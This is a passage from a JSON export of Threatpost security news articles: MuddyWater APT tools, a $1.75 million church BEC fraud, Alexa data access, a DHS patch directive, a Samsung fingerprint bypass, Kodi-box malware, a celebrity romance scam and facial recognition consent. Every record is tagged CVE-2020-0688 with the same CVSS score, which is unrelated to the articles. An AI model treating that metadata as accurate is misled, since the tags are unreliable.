Lebanon, Saudi Arabia and Turkey, as well as a few other countries in nearby regions (Afghanistan, Azerbaijan and Pakistan), researchers said.\n\n\u201cThese tools\u2026seem to allow them flexibility to adapt and customize the toolset for victims,\u201d according to Kaspersky Lab. \u201cThis continuous capability to steadily adjust and enhance attacks, adapting well to the changing [Middle Eastern geopolitical scene](<https://threatpost.com/new-actor-darkhydrus-targets-middle-east-with-open-source-phishing/134871/>), seems to make this actor a solid adversary that keeps growing. We expect it to keep developing or acquiring additional tools and abilities, possibly including zero-days.\u201d\n", "cvss3": {}, "published": "2019-04-29T20:04:33", "type": "threatpost", "title": "MuddyWater APT Hones an Arsenal of Custom Tools", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:04:33", "id": "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "href": "https://threatpost.com/muddywater-apt-custom-tools/144193/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:57:09", "description": "A church in Brunswick, Ohio was scammed out of a whopping $1.75 million as a result of a business email compromise (BEC) attack.\n\nSt. Ambrose Catholic Parish, which has around 16,000 members, has been working on a massive $4 million church renovation, dubbed \u201cVision 20/20\u201d \u2013 but attackers figured out a way to hack into the church\u2019s email system, take control of two church employee accounts, and eventually divert payments related to the project to a fraudulent account owned by them.\n\nAccording to [local reports](<https://www.cleveland.com/crime/2019/04/email-hackers-steal-175-million-from-st-ambrose-catholic-parish-in-brunswick.html>), the church said in a letter to parishioners over the weekend that it was notified of the issue on April 17, after the construction company behind the renovations contacted the church saying it had missed payments on the project.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cOn Wednesday, Marous Brothers called inquiring as to why we had not paid our monthly payment on the project for the past two months, totaling approximately $1,750,000,\u201d according to an email sent by the church to parishioners. \u201cThis was shocking news to us, as we have been very prompt on our payments every month and have received all the appropriate confirmations from the bank that the wire transfers of money to Marous were executed/confirmed.\u201d\n\nAfter involving the Brunswick police and the FBI, the church discovered that their email system was hacked and that bad actors had taken control of two employee email accounts.\n\nUsing these two hacked accounts, the attackers were able to pretend they were the email accounts\u2019 real owners, and deceived other employees into believing Marous Brothers had changed their bank and wiring instructions. The $1.75 million in church payments for two months were then sent to a fraudulent bank account owned by the cybercriminals.\n\n\u201cThe money was then swept out by the perpetrators before anyone knew what had happened,\u201d according to the church. \u201cNeedless to say, this was very distressing information.\u201d\n\nThe church said it is currently working with the FBI and its insurance company to try to recover the stolen funds. Meanwhile, it said, no other data \u2013 such as databases with parishioner information or church financial information \u2013 has been compromised.\n\nBEC scams continue to plague companies as attackers become more advanced \u2013 particularly as infamous BEC groups like [London Blue](<https://threatpost.com/bec-scam-gang-london-blue-evolves-tactics-targets/143440/>), [Scarlet Widow](<https://threatpost.com/rsac-2019-bec-scammer-gang-takes-aim-at-boy-scouts-other-nonprofts/142302/>) and others continue honing their techniques.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30112714/FBI-IC3-11.png>)\n\n[According to](<https://threatpost.com/fbi-bec-scam-losses-double/144038/>) the FBI\u2019s annual Internet Crime Report (IC3) for 2018, BEC scams ultimately drained victims of over $1.2 billion last year. For contrast, in 2017, BEC attacks resulted in adjusted losses of $675 million.\n\nSt. Ambrose Catholic Parish isn\u2019t the first high-profile community case, either. The FBI in its report said it received a complaint from a town in New Jersey that fell victim of a BEC scam \u2014 and transferred over $1 million to a fraudulent account (the FBI was able to freeze the funds and return the money to the town). Individuals suffer too: In another case, a BEC victim received a email purporting to be from their closing agent during a real-estate transaction \u2014 resulting in the person initiating a wire transfer of $50,000 to a fraudster\u2019s bank account located in New York.\n\nRonnie Tokazowski, senior threat researcher at Agari, told Threatpost in a recent interview there are several steps that firms \u2013 and individuals \u2013 can take to protect against BEC scams.\n\n\u201cFor BEC protections, there are several things that organizations and individuals can do to not fall victim,\u201d he said. \u201cFirstly, implementing a DMARC [which stands for Domain-based Message Authentication, Reporting and Conformance and is an email authentication protocol] solution can help organizations look at the reputation of senders who may be spoofing their CEO\u2019s, asking for wire transfers or gift card. For individuals, being informed about the different types of scams that actors are using can be helpful as well.\u201d\n", "cvss3": {}, "published": "2019-04-30T16:21:59", "type": "threatpost", "title": "BEC Hack Cons Catholic Church Out of $1.75 Million", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:21:59", "id": "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "href": "https://threatpost.com/bec-hack-cons-catholic-church/144212/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:21", "description": "Employees at Amazon can access geolocation information for Alexa users, according to reports \u2013 thus uncovering their home addresses and even satellite pictures of their houses generated from a service such as Google Earth.\n\nAlexa is the built-in voice assistant shipped with devices like Amazon Echo, Amazon Dot, Fire TV and some third-party gadgets. Confidential employee sources speaking to Bloomberg said that the global team that manually audits Alexa\u2019s accuracy in understanding voice commands can \u201ceasily find\u201d a customer\u2019s home address, by combining the GPS coordinates that they have access to with public mapping services.\n\nThis division, known as the Alexa Data Services Team, is tasked with listening to random samplings of voice commands \u2013 and then matching up Alexa\u2019s response to them to see if the voice-recognition technology is working the way that it should. In theory this is anonymized, but location information in the form of GPS coordinates is captured in order to provide localized search results. For instance, if a user asks for the weather forecast, or a review for a restaurant, the geolocation data is necessary to carry out the requests.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nFive Amazon employees [confirmed to Bloomberg](<https://www.bloomberg.com/news/articles/2019-04-24/amazon-s-alexa-reviewers-can-access-customers-home-addresses>) that the division has access to the location data, and two members of the Alexa team said that they felt they have been given \u201cunnecessarily broad access\u201d to personal information.\n\nThey also shared a demo, demonstrating that by plugging in longitude and latitude of a device to Bing Maps or Google Maps, it\u2019s possible to bring up an address and even an image of the Alexa-owner\u2019s house.\n\n\u201cOften an individual piece of data might be innocuous, but the connected-ness of the world today means that no data can be viewed in a vacuum,\u201d Tim Erlin, vice president of product management and strategy at Tripwire, told Threatpost. \u201cGPS coordinates aren\u2019t personally identifiable on their own, but when coupled with a freely accessible system that translates them into an image of that location, they certainly are.\u201d\n\nFor its part, Amazon downplayed the issue.\n\n\u201cAccess to internal tools is highly controlled, and is only granted to a limited number of employees who require these tools to train and improve the service by processing an extremely small sample of interactions,\u201d Amazon said in a statement to media. \u201cOur policies strictly prohibit employee access to or use of customer data for any other reason, and we have a zero-tolerance policy for abuse of our systems. We regularly audit employee access to internal tools and limit access whenever and wherever possible.\u201d\n\nIt\u2019s unclear how many employees have access to the information, but the sources said that the Data Services Team numbers in the \u201cthousands of employees and contractors,\u201d located in Boston, India and Romania.\n\nThe employees also said that there is a second internal Amazon Alexa team for \u201cannotators and verifiers,\u201d who are privy to the information that customers input into the Alexa app when setting up a device. That includes home and work addresses, phone numbers, and any entered contact names, numbers and email addresses. This smaller team is responsible for making sure that Alexa correctly identifies contacts when someone asks her to \u201ccall my mom,\u201d for example.\n\nAll of that said, Amazon appears to have restricted some data access in the wake of a previous Bloomberg report revealing the existence of the Alexa Data Services Team, the outlet said.\n\nNot everyone is concerned about the news.\n\n\u201cThis is overblown. There is no reason to doubt that Amazon is sincere in its claim that only a select few employees have access to consumers\u2019 information and use it in order to perform their job,\u201d said Mike Bittner, manager for Digital Security and Operations at The Media Trust, via email.\n\n\u201cFeatures referenced in the article (suggested restaurants, etc.) require geolocation tracking, suggested products and targeted advertising require purchase and browser/cookie tracking, daily reminders require calendar tracking. All of these features are products of the continued trailing, recording and analysis of user behavior and undoubtedly make the smart home a more convenient tool,\u201d wrote Bittner.\n\nThus, the situation once again brings up the thorny issue of balancing consumer benefit with potential privacy abuse. It makes sense for Amazon to audit how well Alexa is performing \u2013 but is a flawless Alexa experience worth the data exposure for consumers?\n\n\u201cAmazon employees listening to private conversations recorded by Alexa speaks to the very fears that many of us have about smart-home devices,\u201d Harold Li, vice president at ExpressVPN, told Threatpost in an interview. \u201cThese revelations will no doubt make consumers think twice before buying, as our research has shown that privacy concerns and brand trust are crucial in the smart home space.\u201d\n\nHe added, \u201cIt\u2019s more than reasonable for consumers to expect that companies like Amazon do not invade the sanctity of private conversations in their own homes, and we should demand that companies respect that.\u201d\n", "cvss3": {}, "published": "2019-04-25T15:55:18", "type": "threatpost", "title": "Amazon Employees Given 'Broad Access' to Personal Alexa Info", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-25T15:55:18", "id": "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "href": "https://threatpost.com/amazon-employees-personal-alexa/144119/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:41", "description": "A Department of Homeland Security (DHS) order now requires agencies to remediate critical vulnerabilities discovered on their systems in 15 days \u2013 cutting in half the previous deadline of 30 days.\n\nThat\u2019s according to a Tuesday binding directive, which is a compulsory order for federal, executive branch, departments and agencies \u201cfor purposes of safeguarding federal information and information systems.\u201d\n\nThe initiative, released by the DHS Cybersecurity and Infrastructure Security Agency (CISA) unit, now requires federal agencies to remediate critical security vulnerabilities within 15 days from the initial detection. Vulnerabilities that are merely \u201chigh\u201d in severity, meanwhile, must be remediated within 30 days after detection.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAs federal agencies continue to expand their internet presence through increased deployment of Internet-accessible systems, and operate interconnected and complex systems, it is more critical than ever for federal agencies to rapidly remediate vulnerabilities that otherwise could allow malicious actors to compromise federal networks through exploitable, externally-facing systems,\u201d according to the [directive](<https://cyber.dhs.gov/bod/19-02/#when-do-the-15-and-30-day-clocks-start-for-remediation>).\n\nThe directive supersedes a previous 2015 DHS order, which ordered departments and agencies to mitigate critical vulnerabilities on their internet-facing systems within 30 days \u201cof issuance of their weekly \u2018Cyber Hygiene report.'\u201d\n\nJeanette Manfra, assistant director for Cybersecurity for CISA, [said](<https://www.dhs.gov/cisa/blog/2019/04/29/cisa-releases-binding-operational-directive-new-requirements-remediating>) that the average time between discovery and exploitation of a vulnerability is decreasing, and adversaries are growing more skilled and persistent.\n\n\u201cCISA released [the directive] to continue to take deliberate steps to reduce the overall attack surface and minimize the risk of unauthorized access to federal information systems,\u201d she said. \u201c[The directive] introduces a shorter mitigation time frame for critical vulnerabilities and a new mitigation time frame for high vulnerabilities, to further reduce the attack surface and risk to federal agency information systems.\u201d\n\nThe directive comes as the government pushes for further security measures across various agencies.\n\nThe DHS [in January](<https://threatpost.com/gov-warning-dns-hijacking/141088/>) ordered all federal agencies to urgently audit Domain Name System (DNS) security for their domains in the next 10 business days, warning that multiple government domains have been targeted by DNS hijacking attacks, allowing attackers to redirect and intercept web and mail traffic.\n\nThe directive also comes as the federal government [in March](<https://threatpost.com/federal-cyber-budget-iot-legislation/142744/>) stepped up its game with proposals of budget line items that would requisition nearly $11 billion for cyber initiatives, and the introduction of an Internet of Things (IoT) Cybersecurity Improvement Act of 2019 (which would require that devices purchased by the government to meet certain minimum security requirements).\n\nWhile security experts praised the initiative, they argued that the directive could go even further in trying to quickly stamp out vulnerabilities across governmental organizations.\n\n\u201cI would argue that the directive does not go far enough to call out critical vulnerabilities for which proofs of concept may already be published or for which developing an exploit is trivial,\u201d said Mounir Hahad, head of Juniper Networks\u2019 Juniper Threat Labs. \u201cThose indeed have a higher chance of being exploited by threat actors in record time. In my view, 15 days for remediation is too slow in those circumstances.\u201d\n", "cvss3": {}, "published": "2019-05-01T19:57:27", "type": "threatpost", "title": "DHS Shortens Deadline For Gov Agencies to Fix Critical Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T19:57:27", "id": "THREATPOST:06C5D9E6950186757AA989F2557336B3", "href": "https://threatpost.com/dhs-deadline-gov-agencies-fix-critical/144269/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:40", "description": "Samsung has reportedly started rolling out a software patch for the Galaxy S10 and Note10, addressing glitches in both phone models that allow the bypass of their built-in fingerprint authentication sensors.\n\nThe fix comes after Samsung admitted last week that anyone [can bypass the Galaxy S10 fingerprint sensor](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>) if a third-party silicon case is enclosing the phone. The acknowledgement led to widespread backlash from customers, while several U.K.-based banks have also started blacklisting impacted Samsung devices for their apps, as the issue also allowed users to access various apps on the impacted devices that were using the biometric function for authentication.\n\nAccording to a Wednesday [report by Android Police](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/>), Samsung is now rolling out patches to customers, urging its customers support app (Samsung Members) to update their phones to the latest software version, which will fix the biometric authentication glitch.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSamsung is releasing a software patch to fix fingerprint issues on Galaxy Note10, Note10+, S10, S10+, and S10 5G devices,\u201d Samsung said on a [note on Samsung Members](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/#ap-lightbox>). \u201cIf you have registered a fingerprint on one of these devices, you will receive a notification with instructions. This update is being sent out gradually, so you may not receive the notification immediately.\u201d\n\nSamsung Galaxy S10 and Note10 users, for their part, are urged to look out for an update notification on their devices called \u201cBiometrics Update.\u201d Once they click on \u201cUpdate,\u201d they will be instructed to delete all previously registered fingerprints from their phone with covers on the phone, and re-register them without a cover applied to the phone.\n\nThe issue first came to light after a woman alleged that a $3 smartphone screen protector allowed unauthorized users to dupe her Samsung Galaxy S10\u2019s fingerprint recognition sensor \u2013 giving access to her phone and banking apps. The U.K. woman, Lisa Neilson, told media reports earlier in October that only her fingerprint was registered on her new Galaxy S10. However, after buying a third-party screen protector off eBay, Neilson\u2019s husband was able to unlock her phone using his fingerprint \u2013 even though it wasn\u2019t registered on the device. Worse, the pair found that Neilson\u2019s husband could log into her phone and access various private apps using the fingerprint biometrics security feature.\n\n\u201cThis issue involved ultrasonic fingerprint sensors unlocking devices after recognizing 3-dimensional patterns appearing on certain silicone screen protecting cases as users\u2019 fingerprints,\u201d said Samsung in a [press release last week](<https://news.samsung.com/global/statement-on-fingerprint-recognition-issue>). \u201cTo prevent any further issues, we advise that Galaxy Note10/10+ and S10/S10+/S10 5G users who use such covers to remove the cover, delete all previous fingerprints and newly register their fingerprints.\u201d\n\nOn the heels of this report, several videos popped up of Galaxy S10 users trying the trick out successfully on their own phones (one such video is below).\n\n[NatWest](<https://twitter.com/NatWest_Help/status/1186676299743580161>) and [Royal Bank](<https://twitter.com/RBS_Help/status/1186553506251071493>) are among the banks that removed their apps from the Google Play store for customers with Samsung Galaxy S10 and Note 10 devices: \u201cThis is due to reports that there are security concerns regarding these devices,\u201d according to a Royal Bank tweet. \u201cWe hope to have our app available again shortly once the issue has been resolved.\u201d\n\n> Hi there Martyn. We've removed the app from the Play Store for customers with Samsung S10 devices. This is due to reports that there are security concerns regarding these devices. We hope to have our app available again shortly once the issue has been resolved. WL\n> \n> \u2014 Royal Bank (@RBS_Help) [October 22, 2019](<https://twitter.com/RBS_Help/status/1186553506251071493?ref_src=twsrc%5Etfw>)\n\nThe utilization of biometrics on smartphones has been helpful for identity authentication \u2013 but it\u2019s not foolproof.\n\nIn fact, also in October Google [came under fire for its Pixel 4](<https://arstechnica.com/gadgets/2019/10/google-says-a-fix-for-pixel-4-face-unlock-is-months-away/>) facial recognition unlock feature, which users said would unlock for users even if their eyes were closed. Google issued a media statement this weekend that the glitch will be fixed in a software update that will be delivered in the \u201ccoming months.\u201d\n\nOther privacy incidents have plagued smartphone vendors around biometric authentication. [In August](<https://threatpost.com/researchers-bypass-apple-faceid-using-biometrics-achilles-heel/147109/>), researchers revealed vulnerabilities in the authentication process of biometrics technology that could allow bad actors to bypass various facial recognition applications \u2013 including Apple\u2019s FaceID. In 2018, a design flaw affecting all in-display fingerprint sensors \u2013 that left over a half-dozen cellphone models vulnerable to a trivial lock-screen bypass attack \u2013 [was quietly patched](<https://threatpost.com/lock-screen-bypass-bug-quietly-patched-in-handsets/139141/>). The flaw was tied to a bug in the popular in-display fingerprint reader technology used for user authentication. New vulnerabilities in [voice authentication](<https://threatpost.com/black-hat-2018-voice-authentication-is-broken-researchers-say/134926/>) have been uncovered as well.\n", "cvss3": {}, "published": "2019-10-24T15:44:50", "type": "threatpost", "title": "Samsung Rolls Out Fix For Galaxy S10 Fingerprint Sensor Glitch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-10-24T15:44:50", "id": "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "href": "https://threatpost.com/samsung-fix-galaxy-s10-fingerprint-sensor/149510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:57", "description": "You get what you pay for when you pirate content. That\u2019s the takeaway from the latest report by Digital Citizens Alliance.\n\nIt found that pirating hardware, which enables free streaming copyright-protected content, comes packed with malicious malware. The devices give criminals easy access to router settings, can plant malware on shared network devices and are often leveraged to steal user credentials.\n\nAccording to the [Digital Citizens Alliance report](<https://www.digitalcitizensalliance.org/clientuploads/directory/Reports/DCA_Fishing_in_the_Piracy_Stream_v6.pdf>) (PDF), 13 percent of 2,073 Americans surveyed use a hardware device for pirating content. One such popular device is called a \u201cKodi box,\u201d which is sold for between $70 to $100 on grey markets. Kodi is an open-source media player designed for televisions and developed by the XBMC Foundation. The software is widely known for its support of a bevy of copyright-infringing apps that offer free access to premium content from Netfix, Amazon Prime, Hulu, sports networks and paid subscription music services. \n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cBy plugging the device into a home network, [users] are enabling hackers to bypass the security (such as a router\u2019s firewall) designed to protect their system. If apps on the box or that are later downloaded have malware, the user has helped the hacker past network security,\u201d wrote Digital Citizens Alliance (DCA) in a recently released report.\n\nIn a review of hardware and pirating apps, such as FreeNetflix, researchers said they found malware piggybacking on illegal apps and preloaded with content. For example, when researchers installed a live sports streaming app called Mobdro, the app forwarded the researcher\u2019s Wi-Fi network name and password to a server in Indonesia.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154055/Jailbroken-Firestick-image.png>)\n\nExample of a jail broken Amazon Fire TV Stick for sale. Courtesy: Digital Citizens Alliance\n\nIn other instances, 1.5 terabytes of data was uploaded from a device that shared the same network of the Kodi box. And, in yet another instance, \u201cresearchers uncovered a clever scheme that enabled criminals to pose as well-known streaming sites, such as Netflix, to facilitate illegal access to a legitimate subscription of an actual Netflix subscriber,\u201d according to the report.\n\nFor its investigation DCA partnered with GroupSense, a security firm that specializes in chatrooms that facilitate black market sales. It claims hackers were discussing how to leverage networks compromised by illicit media streaming services in hopes of recruiting them into DDoS botnets or to mine cryptocurrency.\n\n\u201cGiven that users rarely install anti-virus tools on such devices, the opportunities for exploitation are numerous,\u201d wrote researchers.\n\nThe unsavory worlds of [pirated content and malware are no strangers](<https://threatpost.com/searches-for-pirated-content-lead-to-pain-and-little-gain/113515/>). Researchers have [long warned that patronizing such](<https://threatpost.com/passteal-malware-lurking-file-sharing-sites-112112/77239/>) services is a shortcut to infection. Earlier this month, [Kaspersky Lab released a report](<https://threatpost.com/game-of-thrones-malware-piracy/143318/>) that found that illegal downloads of HBO\u2019s Game of Thrones accounted for 17 percent of all infected pirated content in the last year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154327/Firestick-Apps.png>)\n\nExamples of apps running on the Kodi platform.\n\nIn [Aug. 2018 researchers at ESET](<https://www.welivesecurity.com/2018/09/13/kodi-add-ons-launch-cryptomining-campaign/>) said they found DDoS modules had been added to a Kodi third-party add-on. ESET said it also found copyright-infringing apps that came with multi-stage crypto-mining malware that targeted Windows and Linux systems.\n\nAs part of its report, DCA reached out to XBMC Foundation. XBMC quickly rebuffed any notion it tacitly supported or endorsed pirated content. \u201cIf you are selling a box on your website designed to trick users into thinking broken add-ons come from us and work perfectly, so you can make a buck, we\u2019re going to do everything we can to stop you,\u201d it told DCA.\n\nThe Kodi application typically runs on a wide range of hardware and is sold by independent resellers on eBay, Facebook Marketplace and Craigslist. DCA said it also found Kodi pre-installed on a number of devices including inexpensive China-made media streamers. The software can also be found on devices, that were sold pre-sideloaded with Kodi software. Users can also choose to install the Kodi application on existing hardware.\n\nTo be clear, the Kodi software is not illicit. Rather, researchers are concerned the Kodi platform supports pirating apps that can harbor malware. Researchers are also concerned that some hardware devices that are sold as \u201cKodi boxes\u201d come pre-installed with malicious code and apps used to pirate streaming content.\n\nDCA did its own independent testing over the course of 500 hours of lab testing. It estimates there are 12 million active users of the illicit devices in North American homes. Those users \u201cpresent a tempting target because they offer hackers a new avenue to exploit consumers and a path to reach other devices on a home network. The findings should serve as a wake-up call for consumers, the technology community, and policymakers to take the threat seriously,\u201d it said.\n", "cvss3": {}, "published": "2019-04-29T20:31:30", "type": "threatpost", "title": "Malware Infests Popular Pirate Streaming Hardware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:31:30", "id": "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "href": "https://threatpost.com/kodi_box_malware/144191/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:48", "description": "English actor Jason Statham \u2013 a.k.a. \u201cthe Transporter\u201d \u2013 is cozying up to people who like his Facebook page \u2013 or at least, someone purporting to be him is.\n\nA fraudster managed to bilk a vulnerable and unsuspecting Statham fan out of a \u201csignificant amount\u201d of money after approaching her while she was perusing a fan page for the actor on Facebook.\n\n\u201cShe thought it was nice that the actor had seemingly embraced \u2018talking to his fans,\u2019 and she admitted that she was also in a vulnerable place after recently losing her mother and fianc\u00e9,\u201d explained researchers at Tripwire, who flagged the incident in a [Monday post](<https://www.tripwire.com/state-of-security/latest-security-news/fraudster-posed-as-jason-statham-to-prey-upon-star-struck-users/>). \u201cShe therefore felt no unease when the fraudster asked her to talk with them over WhatsApp.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nA truly bad romance ensued, with hundreds of WhatsApp messages flying between the two over the course of months, during with Faux Statham professed his undying love: \u201cWill you love me and be the special woman beside me for the rest of your life honey\u201d reads one of the messages.\n\nAfter a pattern of trust was established, the supposed action-hero actor started to complain about financial difficulties due to a delayed film payment: \u201cI really need you to do this for me honey \u2019cause I can\u2019t trust anyone but you with my money honey.\u201d\n\nThe victim proceeded to send Western Union an undisclosed sum, after which the supposed Statham disappeared.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30163632/Statham-fraud.png>)\n\nSource: BBC\n\nAs detective constable Craig Moylon of the Greater Manchester Police in the UK [told the BBC](<https://www.bbc.com/news/uk-england-manchester-47969165>), \u201cThis lady has been subject to somebody who just tricked her at a very vulnerable time in her life. When you see the relentless messaging that this lady got from this person and you see the grooming and the exploitation\u2026 the impact is extraordinary.\u201d\n\nThe gullibility of the victim stood out to Tyler Reguly, manager of security R&amp;D at Tripwire. He linked it to generational and cultural norms.\n\n\u201cThis is typically what I find most surprising about [successful scams](<https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/>),\u201d he told Threatpost in an interview. \u201cThere\u2019s a desire to believe, no matter how unlikely the scenario. We\u2019re a society of dreamers \u2013 \u2018I can win the lottery,\u2019 \u2018I can marry Celebrity X,\u2019 \u2018I can perform on stage alongside Singer Y\u2019 \u2013 and unfortunately, modern generations are being brought up to put even more belief in their dreams. So, while we have more tech savvy individuals, we have more potential targets for these criminals.\u201d\n\nThis scam also highlights the ingenuity of bad actors who prey upon unsuspecting users on social media, according to Tripwire.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30164155/Jason-Statham-008.jpg>)\n\n\u201cI would suspect that they setup a fan page for a celebrity and then contacted people via that fan page, claiming to be the celebrity,\u201d Reguly said. \u201cAlternatively, they may have been looking for people who publicly \u2018liked\u2019 a real Jason Statham page and reached out to those users, which is why it is important to verify the identity of those sending messages before you respond. In the case of the former, Facebook has done a great job of providing verified pages (similar to Twitter\u2019s verified users) that make it easy to tell when you\u2019re looking at a page associated with a known entity. (Specifically: \u2018A blue verification badge confirms that this is an authentic Page for this public figure, media company or brand\u2019).\u201d\n\nThese types of scams are on the rise, precisely because they\u2019re successful.\n\n\u201cI\u2019d be willing to wager that it is starting to become relatively common,\u201d Reguly said. \u201cPeople tend to have a soft spot for celebrities, we see people stand in line for hours to catch a glimpse of their favorite star filming, or pay hundreds of dollars for a quick handshake and autograph at conventions. We have a desire to connect with people who have had a meaningful impact in our lives, and that is quite commonly celebrities, particularly those that filled a role near and dear to our hearts or that sung a song that has always stuck with us\u2026.These scams work because we want to believe.\u201d\n", "cvss3": {}, "published": "2019-04-30T21:24:20", "type": "threatpost", "title": "Fake Jason Statham Bilks a Fan Out of Serious Money", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T21:24:20", "id": "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "href": "https://threatpost.com/fake-jason-statham-fan-money/144247/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:16", "description": "Half of respondents in a recent Threatpost poll said that they don\u2019t believe consent realistically exists when it comes to real-life facial recognition.\n\nThe [recent poll](<https://threatpost.com/poll-creeped-out-facial-recognition/144084/>) of 170 readers comes as facial recognition applications [continue to pop up](<https://threatpost.com/facial-recognition-are-we-ready/144066/>) in the real world \u2013 from airports to police forces. While biometrics certainly has advantages \u2013 such as making identification more efficient \u2013 gaining consent from people whose biometrics are being taken remains a mystery to some, with 53 percent of respondents saying they don\u2019t believe that consent exists or is possible in real-life facial recognition applications .\n\nIn the poll, 32 percent more respondents said that consent will be the act of giving people notification that an area is using facial recognition; and only 10 percent said consent is the ability to opt out of facial recognition applications.\n\nThe issue of biometrics consent came to the forefront again in December when the Department of Homeland Security unveiled a facial-recognition pilot program for monitoring public areas surrounding the [White House](<https://threatpost.com/white-house-facial-recognition-pilot-raises-privacy-alarms/139649/>). When asked about consent, the department said that the public cannot opt-out of the pilot, except by avoiding the areas that will be filmed as part of the program.\n\n\u201cA very weak form of protection is if the government or a business [that uses biometrics for] surveillance, they notify people,\u201d Adam Schwartz, senior staff attorney with the Electronic Frontier Foundation\u2019s civil liberties team, told Threatpost. \u201cWe think this is not consent \u2013 real consent is where they don\u2019t aim a camera at you.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/25163405/consent.png>)\n\nBeyond consent, more than half of poll respondents said that they have negative feelings toward facial recognition due to issues related to privacy and security \u2013 while 30 percent more said they have \u201cmixed\u201d feelings, understanding both the benefits and privacy concerns.\n\nWhen asked what concerns them the most about real-world facial applications, 55 percent of those surveyed pointed to privacy and surveillance issues, while 29 percent said the security of biometrics information and how the data is shared.\n\nDespite these concerns, biometrics continues to gain traction, with the EU last week [approving](<https://www.securityresearch-cou.eu/sites/default/files/02.Rinkens.Secure%20safe%20societies_EU%20interoperability_4-3_v1.0.pdf>) a massive biometrics database for both EU and non-EU citizens. The EU\u2019s approval of the database, called the \u201cCommon Identity Repository,\u201d will aim to connect the systems used by border control, migration and law-enforcement agencies.\n\nAs biometrics continue to increase, meanwhile, up to 85 percent of respondents said that they think that facial recognition should be regulated in the future.\n\nSuch laws exist or are being discussed as it relates to consent: An [Illinois law](<http://www.ilga.gov/legislation/ilcs/ilcs3.asp?ActID=3004&ChapterID=57>) for instance regulates collection of biometric information (including for facial recognition) without consent.\n\nHowever, that law only applies to businesses and not law enforcement. Meanwhile, a new bill introduced in the Senate in [March](<https://www.schatz.senate.gov/imo/media/doc/SIL19337.pdf>), the \u201cCommercial Facial Recognition Privacy Act,\u201d would bar businesses that are using facial recognition from harvesting and sharing user data without consent.\n\n\u201cThe time to regulate and restrict the use of facial recognition technology is now, before it becomes embedded in our everyday lives,\u201d said Jason Kelly, digital strategist with EFF, in a [recent post](<https://www.eff.org/deeplinks/2019/04/skip-surveillance-opting-out-face-recognition-airports>). \u201cGovernment agencies and airlines have ignored years of warnings from privacy groups and Senators that using face recognition technology on travelers would massively violate their privacy. Now, the passengers are in revolt as well, and they\u2019re demanding answers.\u201d\n", "cvss3": {}, "published": "2019-04-26T12:10:15", "type": "threatpost", "title": "Facial Recognition 'Consent\u2019 Doesn\u2019t Exist, Threatpost Poll Finds", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T12:10:15", "id": "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "href": "https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:00:27", "description": "Apple is defending its decision to take down several highly popular parental control apps amidst a firestorm of backlash, saying it did so for \u201cprivacy and security\u201d reasons.\n\nApple came under scrutiny this weekend after a New York Times article alleged that the phone giant had unfairly removed or restricted at least 11 top screen-time and parental-control apps from its marketplace \u2013 after creating its own screen-time app. Among those that have been removed are OurPact, which has 3 million downloads, and Mobicip, which has 2.5 million downloads.\n\nWhile it looks like a competitive move, Apple tells a different story: Its aim was to weed out apps that were using mobile device management (MDM) technology it said, which gives third-party control and access over other devices and sensitive information, including location, app use and more. Parental-control apps, which allow parents to keep tabs (and set limits) on their children\u2019s on-phone activities, locations and more, are thus effectively collecting way too much data, Apple 